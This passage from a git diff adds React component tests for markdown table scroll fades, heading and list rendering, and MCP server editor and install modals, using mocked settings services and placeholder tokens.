+    value: metrics.scrollLeft,
+  });
+}
+
+describe("readScrollFadeState", () => {
+  it("hides both fades when the table fits", () => {
+    const element = document.createElement("div");
+    mockScrollMetrics(element, {
+      scrollWidth: 400,
+      clientWidth: 400,
+      scrollLeft: 0,
+    });
+
+    expect(readScrollFadeState(element)).toEqual({ left: false, right: false });
+  });
+
+  it("shows only the right fade at the start of an overflowing table", () => {
+    const element = document.createElement("div");
+    mockScrollMetrics(element, {
+      scrollWidth: 800,
+      clientWidth: 300,
+      scrollLeft: 0,
+    });
+
+    expect(readScrollFadeState(element)).toEqual({ left: false, right: true });
+  });
+
+  it("shows both fades in the middle of an overflowing table", () => {
+    const element = document.createElement("div");
+    mockScrollMetrics(element, {
+      scrollWidth: 800,
+      clientWidth: 300,
+      scrollLeft: 250,
+    });
+
+    expect(readScrollFadeState(element)).toEqual({ left: true, right: true });
+  });
+
+  it("shows only the left fade at the end of an overflowing table", () => {
+    const element = document.createElement("div");
+    mockScrollMetrics(element, {
+      scrollWidth: 800,
+      clientWidth: 300,
+      scrollLeft: 500,
+    });
+
+    expect(readScrollFadeState(element)).toEqual({ left: true, right: false });
+  });
+});
+
+describe("MarkdownTableScroll", () => {
+  beforeEach(() => {
+    vi.stubGlobal(
+      "ResizeObserver",
+      class {
+        observe = vi.fn();
+
+        unobserve = vi.fn();
+
+        disconnect = vi.fn();
+      },
+    );
+  });
+
+  afterEach(() => {
+    vi.unstubAllGlobals();
+  });
+
+  it("renders animated edge fades that toggle with horizontal scroll", () => {
+    render(
+      <MarkdownTableScroll>
+        <table>
+          <tbody>
+            <tr>
+              <td>Wide content</td>
+            </tr>
+          </tbody>
+        </table>
+      </MarkdownTableScroll>,
+    );
+
+    const scroller = screen.getByTestId("markdown-table-scroll");
+    const leftFade = screen.getByTestId("markdown-table-scroll-fade-left");
+    const rightFade = screen.getByTestId("markdown-table-scroll-fade-right");
+
+    mockScrollMetrics(scroller, {
+      scrollWidth: 900,
+      clientWidth: 320,
+      scrollLeft: 0,
+    });
+    fireEvent.scroll(scroller);
+
+    expect(rightFade).toHaveAttribute("data-visible", "true");
+    expect(rightFade).toHaveClass("opacity-100");
+    expect(leftFade).toHaveAttribute("data-visible", "false");
+    expect(leftFade).toHaveClass("opacity-0");
+
+    mockScrollMetrics(scroller, {
+      scrollWidth: 900,
+      clientWidth: 320,
+      scrollLeft: 580,
+    });
+    fireEvent.scroll(scroller);
+
+    expect(leftFade).toHaveAttribute("data-visible", "true");
+    expect(leftFade).toHaveClass("opacity-100");
+    expect(rightFade).toHaveAttribute("data-visible", "false");
+    expect(rightFade).toHaveClass("opacity-0");
+  });
+});
diff --git a/__tests__/components/features/markdown/plan-components.test.tsx b/__tests__/components/features/markdown/plan-components.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7cef6be19b030d4cbe4c6a9ae633ca54fb17281a
--- /dev/null
+++ b/__tests__/components/features/markdown/plan-components.test.tsx
@@ -0,0 +1,336 @@
+import { describe, it, expect } from "vitest";
+import { render, screen } from "@testing-library/react";
+import {
+  planComponents,
+  createPlanComponents,
+} from "#/components/features/markdown/plan-components";
+
+describe("planComponents", () => {
+  describe("h1", () => {
+    it("should render h1 with correct text content", () => {
+      // Arrange
+      const H1 = planComponents.h1;
+      const text = "Main Heading";
+
+      // Act
+      render(<H1>{text}</H1>);
+
+      // Assert
+      const heading = screen.getByRole("heading", { level: 1 });
+      expect(heading).toBeInTheDocument();
+      expect(heading).toHaveTextContent(text);
+    });
+
+    it("should handle undefined children gracefully", () => {
+      // Arrange
+      const H1 = planComponents.h1;
+
+      // Act
+      render(<H1>{undefined}</H1>);
+
+      // Assert
+      const heading = screen.getByRole("heading", { level: 1 });
+      expect(heading).toBeInTheDocument();
+      expect(heading).toBeEmptyDOMElement();
+    });
+
+    it("should render complex children content", () => {
+      // Arrange
+      const H1 = planComponents.h1;
+
+      // Act
+      render(
+        <H1>
+          <span>Nested</span> Content
+        </H1>,
+      );
+
+      // Assert
+      const heading = screen.getByRole("heading", { level: 1 });
+      expect(heading).toHaveTextContent("Nested Content");
+      expect(heading.querySelector("span")).toHaveTextContent("Nested");
+    });
+  });
+
+  describe("h2", () => {
+    it("should render h2 with correct text content", () => {
+      // Arrange
+      const H2 = planComponents.h2;
+      const text = "Section Heading";
+
+      // Act
+      render(<H2>{text}</H2>);
+
+      // Assert
+      const heading = screen.getByRole("heading", { level: 2 });
+      expect(heading).toBeInTheDocument();
+      expect(heading).toHaveTextContent(text);
+    });
+
+    it("should handle null children gracefully", () => {
+      // Arrange
+      const H2 = planComponents.h2;
+
+      // Act
+      render(<H2>{null}</H2>);
+
+      // Assert
+      const heading = screen.getByRole("heading", { level: 2 });
+      expect(heading).toBeInTheDocument();
+      expect(heading).toBeEmptyDOMElement();
+    });
+  });
+
+  describe("h3", () => {
+    it("should render h3 with correct text content", () => {
+      // Arrange
+      const H3 = planComponents.h3;
+      const text = "Subsection Heading";
+
+      // Act
+      render(<H3>{text}</H3>);
+
+      // Assert
+      const heading = screen.getByRole("heading", { level: 3 });
+      expect(heading).toBeInTheDocument();
+      expect(heading).toHaveTextContent(text);
+    });
+  });
+
+  describe("h4", () => {
+    it("should render h4 with correct text content", () => {
+      // Arrange
+      const H4 = planComponents.h4;
+      const text = "Level 4 Heading";
+
+      // Act
+      render(<H4>{text}</H4>);
+
+      // Assert
+      const heading = screen.getByRole("heading", { level: 4 });
+      expect(heading).toBeInTheDocument();
+      expect(heading).toHaveTextContent(text);
+    });
+  });
+
+  describe("h5", () => {
+    it("should render h5 with correct text content", () => {
+      // Arrange
+      const H5 = planComponents.h5;
+      const text = "Level 5 Heading";
+
+      // Act
+      render(<H5>{text}</H5>);
+
+      // Assert
+      const heading = screen.getByRole("heading", { level: 5 });
+      expect(heading).toBeInTheDocument();
+      expect(heading).toHaveTextContent(text);
+    });
+  });
+
+  describe("h6", () => {
+    it("should render h6 with correct text content", () => {
+      // Arrange
+      const H6 = planComponents.h6;
+      const text = "Level 6 Heading";
+
+      // Act
+      render(<H6>{text}</H6>);
+
+      // Assert
+      const heading = screen.getByRole("heading", { level: 6 });
+      expect(heading).toBeInTheDocument();
+      expect(heading).toHaveTextContent(text);
+    });
+  });
+
+  describe("heading hierarchy", () => {
+    it("should render all heading levels correctly in sequence", () => {
+      // Arrange
+      const H1 = planComponents.h1;
+      const H2 = planComponents.h2;
+      const H3 = planComponents.h3;
+      const H4 = planComponents.h4;
+      const H5 = planComponents.h5;
+      const H6 = planComponents.h6;
+
+      // Act
+      render(
+        <div>
+          <H1>Heading 1</H1>
+          <H2>Heading 2</H2>
+          <H3>Heading 3</H3>
+          <H4>Heading 4</H4>
+          <H5>Heading 5</H5>
+          <H6>Heading 6</H6>
+        </div>,
+      );
+
+      // Assert
+      expect(screen.getByRole("heading", { level: 1 })).toHaveTextContent(
+        "Heading 1",
+      );
+      expect(screen.getByRole("heading", { level: 2 })).toHaveTextContent(
+        "Heading 2",
+      );
+      expect(screen.getByRole("heading", { level: 3 })).toHaveTextContent(
+        "Heading 3",
+      );
+      expect(screen.getByRole("heading", { level: 4 })).toHaveTextContent(
+        "Heading 4",
+      );
+      expect(screen.getByRole("heading", { level: 5 })).toHaveTextContent(
+        "Heading 5",
+      );
+      expect(screen.getByRole("heading", { level: 6 })).toHaveTextContent(
+        "Heading 6",
+      );
+    });
+  });
+
+  describe("p", () => {
+    it("should render paragraph with correct text content", () => {
+      // Arrange
+      const P = planComponents.p;
+      const text = "Paragraph text";
+
+      // Act
+      render(<P>{text}</P>);
+
+      // Assert
+      expect(screen.getByText(text)).toBeInTheDocument();
+    });
+  });
+
+  describe("ul", () => {
+    it("should render unordered list with correct content", () => {
+      // Arrange
+      const Ul = planComponents.ul;
+      const Li = planComponents.li;
+
+      // Act
+      render(
+        <Ul>
+          <Li>Item 1</Li>
+          <Li>Item 2</Li>
+        </Ul>,
+      );
+
+      // Assert
+      expect(screen.getByRole("list")).toBeInTheDocument();
+      expect(screen.getAllByRole("listitem")).toHaveLength(2);
+    });
+  });
+
+  describe("ol", () => {
+    it("should render ordered list with correct content", () => {
+      // Arrange
+      const Ol = planComponents.ol;
+      const Li = planComponents.li;
+
+      // Act
+      render(
+        <Ol>
+          <Li>Item 1</Li>
+          <Li>Item 2</Li>
+        </Ol>,
+      );
+
+      // Assert
+      expect(screen.getByRole("list")).toBeInTheDocument();
+      expect(screen.getAllByRole("listitem")).toHaveLength(2);
+    });
+
+    it("should support start attribute", () => {
+      // Arrange
+      const Ol = planComponents.ol;
+      const Li = planComponents.li;
+
+      // Act
+      const { container } = render(
+        <Ol start={5}>
+          <Li>Item 1</Li>
+        </Ol>,
+      );
+
+      // Assert
+      const ol = container.querySelector("ol");
+      expect(ol).toHaveAttribute("start", "5");
+    });
+  });
+
+  describe("a", () => {
+    it("should render anchor with correct href and content", () => {
+      // Arrange
+      const A = planComponents.a;
+      const href = "https://example.com";
+      const text = "Link text";
+
+      // Act
+      render(<A href={href}>{text}</A>);
+
+      // Assert
+      const link = screen.getByRole("link");
+      expect(link).toHaveTextContent(text);
+      expect(link).toHaveAttribute("href", href);
+      expect(link).toHaveAttribute("target", "_blank");
+      expect(link).toHaveAttribute("rel", "noopener noreferrer");
+    });
+  });
+
+  describe("code", () => {
+    it("should render inline code with correct content", () => {
+      // Arrange
+      const Code = planComponents.code;
+      const text = "const x = 1";
+
+      // Act
+      render(<Code>{text}</Code>);
+
+      // Assert
+      expect(screen.getByText(text)).toBeInTheDocument();
+    });
+  });
+});
+
+describe("createPlanComponents", () => {
+  it("should apply extraClassName to all elements when provided", () => {
+    // Arrange
+    const extraClassName = "test-extra-class";
+    const components = createPlanComponents(extraClassName);
+
+    // Act
+    const { container } = render(
+      <div>
+        <components.h1>H1</components.h1>
+        <components.p>Paragraph</components.p>
+        <components.ul>
+          <components.li>Item</components.li>
+        </components.ul>
+        <components.a href="#">Link</components.a>
+        <components.code>Code</components.code>
+      </div>,
+    );
+
+    // Assert
+    expect(container.querySelector("h1")).toHaveClass(extraClassName);
+    expect(container.querySelector("p")).toHaveClass(extraClassName);
+    expect(container.querySelector("ul")).toHaveClass(extraClassName);
+    expect(container.querySelector("li")).toHaveClass(extraClassName);
+    expect(container.querySelector("a")).toHaveClass(extraClassName);
+    expect(container.querySelector("code")).toHaveClass(extraClassName);
+  });
+
+  it("should not add undefined class when extraClassName is not provided", () => {
+    // Arrange
+    const components = createPlanComponents();
+
+    // Act
+    const { container } = render(<components.h1>H1</components.h1>);
+
+    // Assert
+    const h1 = container.querySelector("h1");
+    expect(h1?.className).not.toContain("undefined");
+  });
+});
diff --git a/__tests__/components/features/markdown/table.test.tsx b/__tests__/components/features/markdown/table.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..958984ddfc0f51cee3173acdddb5a41f410295f5
--- /dev/null
+++ b/__tests__/components/features/markdown/table.test.tsx
@@ -0,0 +1,91 @@
+import { render, screen } from "@testing-library/react";
+import { describe, it, expect } from "vitest";
+import { MarkdownRenderer } from "#/components/features/markdown/markdown-renderer";
+
+const GFM_TABLE = [
+  "| Feature | OpenAI Codex | Claude Code |",
+  "|---------|--------------|-------------|",
+  "| CLI     | ✅           | ✅          |",
+  "| Mobile  | ❌           | ✅          |",
+].join("\n");
+
+describe("table (markdown)", () => {
+  it("should render a GFM pipe table as a <table> element", () => {
+    render(<MarkdownRenderer>{GFM_TABLE}</MarkdownRenderer>);
+
+    const table = screen.getByRole("table");
+    expect(table).toBeInTheDocument();
+  });
+
+  it("should wrap the table in a horizontally scrollable container", () => {
+    const { container } = render(
+      <MarkdownRenderer>{GFM_TABLE}</MarkdownRenderer>,
+    );
+
+    const wrapper = screen.getByTestId("markdown-table-scroll");
+    expect(wrapper).toHaveClass("overflow-x-auto");
+    expect(wrapper).toHaveClass("custom-scrollbar-always");
+    expect(wrapper).toHaveClass("max-w-full");
+    expect(wrapper.querySelector("table")).not.toBeNull();
+    expect(container.querySelector(".overflow-x-auto")).not.toBeNull();
+  });
+
+  it("should round corners on the table element", () => {
+    render(<MarkdownRenderer>{GFM_TABLE}</MarkdownRenderer>);
+
+    const table = screen.getByRole("table");
+    expect(table).toHaveClass("rounded-xl");
+    expect(table).toHaveClass("overflow-hidden");
+
+    const wrapper = screen.getByTestId("markdown-table-scroll");
+    expect(wrapper).not.toHaveClass("rounded-xl");
+
+    expect(
+      screen.getByTestId("markdown-table-scroll-fade-left"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("markdown-table-scroll-fade-right"),
+    ).toBeInTheDocument();
+  });
+
+  it("should let wide tables grow beyond the chat column instead of squishing columns", () => {
+    render(<MarkdownRenderer>{GFM_TABLE}</MarkdownRenderer>);
+
+    const table = screen.getByRole("table");
+    expect(table).toHaveClass("w-max");
+    expect(table).toHaveClass("min-w-full");
+    expect(table).not.toHaveClass("w-full");
+  });
+
+  it("should render header cells as <th> elements with correct content", () => {
+    render(<MarkdownRenderer>{GFM_TABLE}</MarkdownRenderer>);
+
+    const headers = screen.getAllByRole("columnheader");
+    expect(headers).toHaveLength(3);
+    expect(headers[0]).toHaveTextContent("Feature");
+    expect(headers[1]).toHaveTextContent("OpenAI Codex");
+    expect(headers[2]).toHaveTextContent("Claude Code");
+  });
+
+  it("should render body cells as <td> elements with correct content", () => {
+    render(<MarkdownRenderer>{GFM_TABLE}</MarkdownRenderer>);
+
+    const cells = screen.getAllByRole("cell");
+    expect(cells).toHaveLength(6);
+    expect(cells[0]).toHaveTextContent("CLI");
+    expect(cells[3]).toHaveTextContent("Mobile");
+  });
+
+  it("should not render table markdown as plain paragraph text", () => {
+    // Regression guard: before the fix, missing component overrides made the
+    // table render with no visible borders/padding so columns looked like
+    // space-separated text. Ensure a real <table> exists now.
+    const { container } = render(
+      <MarkdownRenderer>{GFM_TABLE}</MarkdownRenderer>,
+    );
+
+    expect(container.querySelectorAll("table")).toHaveLength(1);
+    expect(container.querySelectorAll("th")).toHaveLength(3);
+    expect(container.querySelectorAll("td")).toHaveLength(6);
+  });
+});
diff --git a/__tests__/components/features/mcp-page/custom-server-editor.test.tsx b/__tests__/components/features/mcp-page/custom-server-editor.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..251ea09c24a4cf8e5b4507e863bf20eb77404152
--- /dev/null
+++ b/__tests__/components/features/mcp-page/custom-server-editor.test.tsx
@@ -0,0 +1,355 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, fireEvent, waitFor } from "@testing-library/react";
+import { AxiosError } from "axios";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import McpService from "#/api/mcp-service/mcp-service.api";
+import {
+  __resetMcpHealthStoreForTests,
+  getMcpHealthSnapshot,
+  setMcpServerHealth,
+} from "#/api/mcp-health/mcp-health-store";
+import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { CustomServerEditor } from "#/components/features/mcp-page/custom-server-editor";
+import { useSettings } from "#/hooks/query/use-settings";
+
+import type { Settings } from "#/types/settings";
+import type { MCPServerConfig } from "#/types/mcp-server";
+
+const EDIT_STDIO_SERVER: MCPServerConfig = {
+  id: "github",
+  type: "stdio",
+  name: "github",
+  command: "docker",
+  args: ["run", "-i", "--rm", "ghcr.io/github/github-mcp-server"],
+};
+
+const EDIT_OAUTH_SERVER: MCPServerConfig = {
+  id: "superhuman_mail",
+  type: "shttp",
+  name: "superhuman_mail",
+  url: "https://mcp.mail.superhuman.com/mcp",
+  auth: {
+    strategy: "oauth2",
+    authentication: { type: "oauth", client_auth_method: "none" },
+  },
+};
+
+function buildSettingsWithMcp(overrides: Partial<Settings> = {}): Settings {
+  return {
+    ...MOCK_DEFAULT_USER_SETTINGS,
+    agent_settings: {
+      ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+      mcp_config: {
+        github: {
+          command: "docker",
+          args: ["run", "-i", "--rm", "ghcr.io/github/github-mcp-server"],
+        },
+      },
+    },
+    ...overrides,
+  };
+}
+
+/**
+ * Wrapper that only mounts the editor once `useSettings` has resolved.
+ * `useAddMcpServer`'s `mutationFn` silently no-ops when settings is
+ * undefined (and that no-op resolves, triggering the per-call
+ * `onSuccess` → which would close our modal). Waiting for the query
+ * makes the test deterministic.
+ */
+function EditorOnceSettingsLoaded({ onClose }: { onClose: () => void }) {
+  const { data } = useSettings();
+  if (!data) return null;
+  return (
+    <CustomServerEditor
+      server={{ id: "", type: "sse" }}
+      existingServers={[]}
+      onClose={onClose}
+    />
+  );
+}
+
+function EditEditorOnceSettingsLoaded({ onClose }: { onClose: () => void }) {
+  const { data } = useSettings();
+  if (!data) return null;
+  return (
+    <CustomServerEditor
+      server={EDIT_STDIO_SERVER}
+      existingServers={[EDIT_STDIO_SERVER]}
+      onClose={onClose}
+    />
+  );
+}
+
+function EditOAuthEditorOnceSettingsLoaded({
+  onClose,
+}: {
+  onClose: () => void;
+}) {
+  const { data } = useSettings();
+  if (!data) return null;
+  return (
+    <CustomServerEditor
+      server={EDIT_OAUTH_SERVER}
+      existingServers={[EDIT_OAUTH_SERVER]}
+      onClose={onClose}
+    />
+  );
+}
+
+function renderWith(ui: React.ReactNode) {
+  return render(ui, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({ defaultOptions: { queries: { retry: false } } })
+        }
+      >
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    ),
+  });
+}
+
+describe("CustomServerEditor", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.spyOn(SettingsService, "createMcpServer").mockImplementation(
+      (settingsKey, server) =>
+        SettingsService.saveSettings({
+          agent_settings_diff: {
+            mcp_config: { [settingsKey]: server },
+          },
+        }),
+    );
+    vi.spyOn(SettingsService, "patchMcpServer").mockImplementation(
+      (settingsKey, patch) =>
+        SettingsService.saveSettings({
+          agent_settings_diff: {
+            mcp_config: { [settingsKey]: patch },
+          },
+        }),
+    );
+    vi.spyOn(SettingsService, "deleteMcpServer").mockImplementation(
+      (settingsKey) =>
+        SettingsService.saveSettings({
+          agent_settings_diff: {
+            mcp_config: { [settingsKey]: null },
+          },
+        }),
+    );
+    vi.spyOn(SettingsService, "patchMcpConfig").mockImplementation((patch) =>
+      SettingsService.saveSettings({
+        agent_settings_diff: { mcp_config: patch },
+      }),
+    );
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      MOCK_DEFAULT_USER_SETTINGS,
+    );
+    // Pre-flight connectivity test must pass so the save mutation is reached.
+    vi.spyOn(McpService, "testServer").mockResolvedValue({
+      ok: true,
+      tools: [],
+    });
+  });
+
+  it("keeps the modal open and does not call onClose when the add mutation fails", async () => {
+    // Simulate a backend rejection — the editor should surface the
+    // failure as an `onError` toast and leave the modal open so the
+    // user can retry. Previously these calls had no `onError` at
+    // all, and the modal closed even on a 4xx/5xx because
+    // tanstack-query's per-call `onSuccess` doesn't run on
+    // rejection but didn't gate the close either way.
+    const err = new AxiosError("Boom");
+    err.response = {
+      status: 400,
+      data: { detail: "Server name already in use" },
+    } as unknown as AxiosError["response"];
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockRejectedValue(err);
+
+    const onClose = vi.fn();
+    renderWith(<EditorOnceSettingsLoaded onClose={onClose} />);
+
+    // Wrapper waits for useSettings before mounting the editor, so
+    // by the time we see the editor the mutation hook will fire its
+    // mutationFn (rather than silently no-op).
+    await screen.findByTestId("mcp-custom-editor");
+    fireEvent.change(screen.getByTestId("url-input"), {
+      target: { value: "https://example.com/mcp" },
+    });
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+
+    // Modal is still mounted — onClose was *not* called on failure.
+    await waitFor(() => {
+      expect(screen.queryByTestId("mcp-custom-editor")).toBeInTheDocument();
+      expect(onClose).not.toHaveBeenCalled();
+    });
+  });
+
+  it("closes from the top-right close button", async () => {
+    const onClose = vi.fn();
+    renderWith(<EditorOnceSettingsLoaded onClose={onClose} />);
+    await screen.findByTestId("mcp-custom-editor");
+
+    fireEvent.click(screen.getByTestId("mcp-custom-editor-close"));
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("does not show delete in add mode", async () => {
+    renderWith(<EditorOnceSettingsLoaded onClose={vi.fn()} />);
+    await screen.findByTestId("mcp-custom-editor");
+
+    expect(
+      screen.queryByTestId("mcp-custom-editor-delete"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("deletes an installed server after confirmation", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettingsWithMcp(),
+    );
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    const onClose = vi.fn();
+    renderWith(<EditEditorOnceSettingsLoaded onClose={onClose} />);
+    await screen.findByTestId("mcp-custom-editor");
+
+    fireEvent.click(screen.getByTestId("mcp-custom-editor-delete"));
+    expect(await screen.findByTestId("confirmation-modal")).toBeInTheDocument();
+
+    fireEvent.click(screen.getByTestId("confirm-button"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+    await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1));
+  });
+
+  it("calls onClose when the header close button is clicked", async () => {
+    const onClose = vi.fn();
+    renderWith(<EditorOnceSettingsLoaded onClose={onClose} />);
+
+    fireEvent.click(await screen.findByTestId("mcp-custom-editor-close"));
+
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("surfaces a credential failure from Test connection in the edit modal", async () => {
+    // Arrange: editing an installed server whose stored credentials the
+    // verification call rejects — previously this path always reported
+    // "Connected" because only tools/list was exercised.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettingsWithMcp(),
+    );
+    vi.spyOn(McpService, "testServer").mockResolvedValue({
+      ok: false,
+      error: "invalid_auth",
+      error_kind: "credentials",
+    });
+
+    renderWith(<EditEditorOnceSettingsLoaded onClose={vi.fn()} />);
+    await screen.findByTestId("mcp-custom-editor");
+
+    // Act: run the connection test from the edit form.
+    fireEvent.click(screen.getByTestId("mcp-test-connection"));
+
+    // Assert: the credentials-specific message is shown inline (i18n keys
+    // are returned as-is in tests).
+    await waitFor(() =>
+      expect(screen.getByTestId("mcp-test-message")).toHaveTextContent(
+        "MCP$TEST_ERROR_CREDENTIALS",
+      ),
+    );
+  });
+
+  it("reseeds the edited server's health from the fresh pre-save test", async () => {
+    // Arrange: the installed card shows a failure; the user re-saves the
+    // server (e.g. after fixing the credential) and the pre-save test now
+    // passes. The card must flip to healthy without a page reload — the
+    // server's own prior entry is overwritten, not duplicate-guarded.
+    __resetMcpHealthStoreForTests();
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettingsWithMcp(),
+    );
+    vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+    const key = getMcpServerHealthKey(EDIT_STDIO_SERVER);
+    setMcpServerHealth(key, {
+      status: "failed",
+      kind: "credentials",
+      error: "invalid_auth",
+      checkedAt: 1,
+    });
+
+    const onClose = vi.fn();
+    renderWith(<EditEditorOnceSettingsLoaded onClose={onClose} />);
+    await screen.findByTestId("mcp-custom-editor");
+
+    // Act: save without structural changes (test passes via the beforeEach
+    // McpService.testServer mock).
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    // Assert: the same health key now carries the fresh healthy verdict.
+    await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1));
+    expect(getMcpHealthSnapshot()[key]).toMatchObject({ status: "healthy" });
+  });
+
+  it("persists OAuth state returned by the connection test when editing", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettingsWithMcp({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          mcp_config: {
+            superhuman_mail: {
+              url: "https://mcp.mail.superhuman.com/mcp",
+              transport: "http",
+              auth: {
+                strategy: "oauth2",
+                authentication: { type: "oauth", client_auth_method: "none" },
+              },
+            },
+          },
+        },
+      }),
+    );
+    vi.spyOn(McpService, "authorizeOAuth").mockResolvedValue({
+      ok: true,
+      tools: [],
+      oauth_state: {
+        tokens: { access_token: "gAAAAencrypted-access-token" },
+        token_expires_at: 12345,
+      },
+    });
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderWith(<EditOAuthEditorOnceSettingsLoaded onClose={vi.fn()} />);
+    await screen.findByTestId("mcp-custom-editor");
+    fireEvent.click(screen.getByTestId("submit-button"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+    const sent = (saveSpy.mock.calls[0][0] as Record<string, unknown>)
+      .agent_settings_diff as {
+      mcp_config: Record<string, unknown>;
+    };
+    expect(sent.mcp_config).toMatchObject({
+      superhuman_mail: {
+        auth: {
+          strategy: "oauth2",
+          state: {
+            tokens: { access_token: "gAAAAencrypted-access-token" },
+            token_expires_at: 12345,
+          },
+        },
+      },
+    });
+  });
+});
diff --git a/__tests__/components/features/mcp-page/install-server-modal.test.tsx b/__tests__/components/features/mcp-page/install-server-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..78366f2d4a8afc3aa040ff8f17dfb4036d9e0fb0
--- /dev/null
+++ b/__tests__/components/features/mcp-page/install-server-modal.test.tsx
@@ -0,0 +1,1023 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, fireEvent, waitFor } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import McpService from "#/api/mcp-service/mcp-service.api";
+import {
+  __resetMcpHealthStoreForTests,
+  getMcpHealthSnapshot,
+} from "#/api/mcp-health/mcp-health-store";
+import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key";
+import { SecretsService } from "#/api/secrets-service";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { InstallServerModal } from "#/components/features/mcp-page/install-server-modal";
+import {
+  INTEGRATION_CATALOG as MCP_MARKETPLACE,
+  type IntegrationCatalogEntry as MarketplaceEntry,
+} from "@openhands/extensions/integrations";
+import { getMcpMarketplaceCatalog } from "#/utils/mcp-marketplace-utils";
+
+function renderWith(ui: React.ReactNode) {
+  return render(ui, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({ defaultOptions: { queries: { retry: false } } })
+        }
+      >
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    ),
+  });
+}
+
+describe("InstallServerModal", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    vi.spyOn(SettingsService, "createMcpServer").mockImplementation(
+      (settingsKey, server) =>
+        SettingsService.saveSettings({
+          agent_settings_diff: {
+            mcp_config: { [settingsKey]: server },
+          },
+        }),
+    );
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      MOCK_DEFAULT_USER_SETTINGS,
+    );
+    // Default: pre-flight test passes so existing save tests remain unaffected.
+    vi.spyOn(McpService, "testServer").mockResolvedValue({
+      ok: true,
+      tools: [],
+    });
+  });
+
+  it("uses Slack's API fallback when the default option is OAuth", async () => {
+    const slack = MCP_MARKETPLACE.find((e) => e.id === "slack")!;
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    const onClose = vi.fn();
+    renderWith(<InstallServerModal existingServers={[]} entry={slack} onClose={onClose} />);
+
+    await screen.findByTestId("mcp-install-modal");
+
+    // Fail fast when required fields are empty.
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+    await waitFor(() => {
+      expect(saveSpy).not.toHaveBeenCalled();
+    });
+
+    fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_BOT_TOKEN"), {
+      target: { value: "xoxb-abc" },
+    });
+    fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_TEAM_ID"), {
+      target: { value: "T01" },
+    });
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+    const [payload] = saveSpy.mock.calls[0];
+    const sentMcpConfig = (payload as Record<string, unknown>)
+      .agent_settings_diff as {
+      mcp_config: Record<string, unknown>;
+    };
+    expect(sentMcpConfig.mcp_config).toMatchObject({
+      slack: {
+        command: "npx",
+        args: ["-y", "@zencoderai/slack-mcp-server"],
+        env: { SLACK_BOT_TOKEN: "xoxb-abc", SLACK_TEAM_ID: "T01" },
+      },
+    });
+    expect(onClose).toHaveBeenCalled();
+  });
+
+  it("seeds the new card's health from the pre-save connection test", async () => {
+    // Arrange: a fresh install whose pre-save test passes. Its card must
+    // show a verdict immediately after install, without a second probe.
+    __resetMcpHealthStoreForTests();
+    const slack = MCP_MARKETPLACE.find((e) => e.id === "slack")!;
+    vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+
+    renderWith(
+      <InstallServerModal existingServers={[]} entry={slack} onClose={vi.fn()} />,
+    );
+    await screen.findByTestId("mcp-install-modal");
+
+    // Act: complete the install.
+    fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_BOT_TOKEN"), {
+      target: { value: "xoxb-abc" },
+    });
+    fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_TEAM_ID"), {
+      target: { value: "T01" },
+    });
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    // Assert: the health store carries the saved config's verdict (the
+    // mocked test returns no tool_result, so it proves connectivity only).
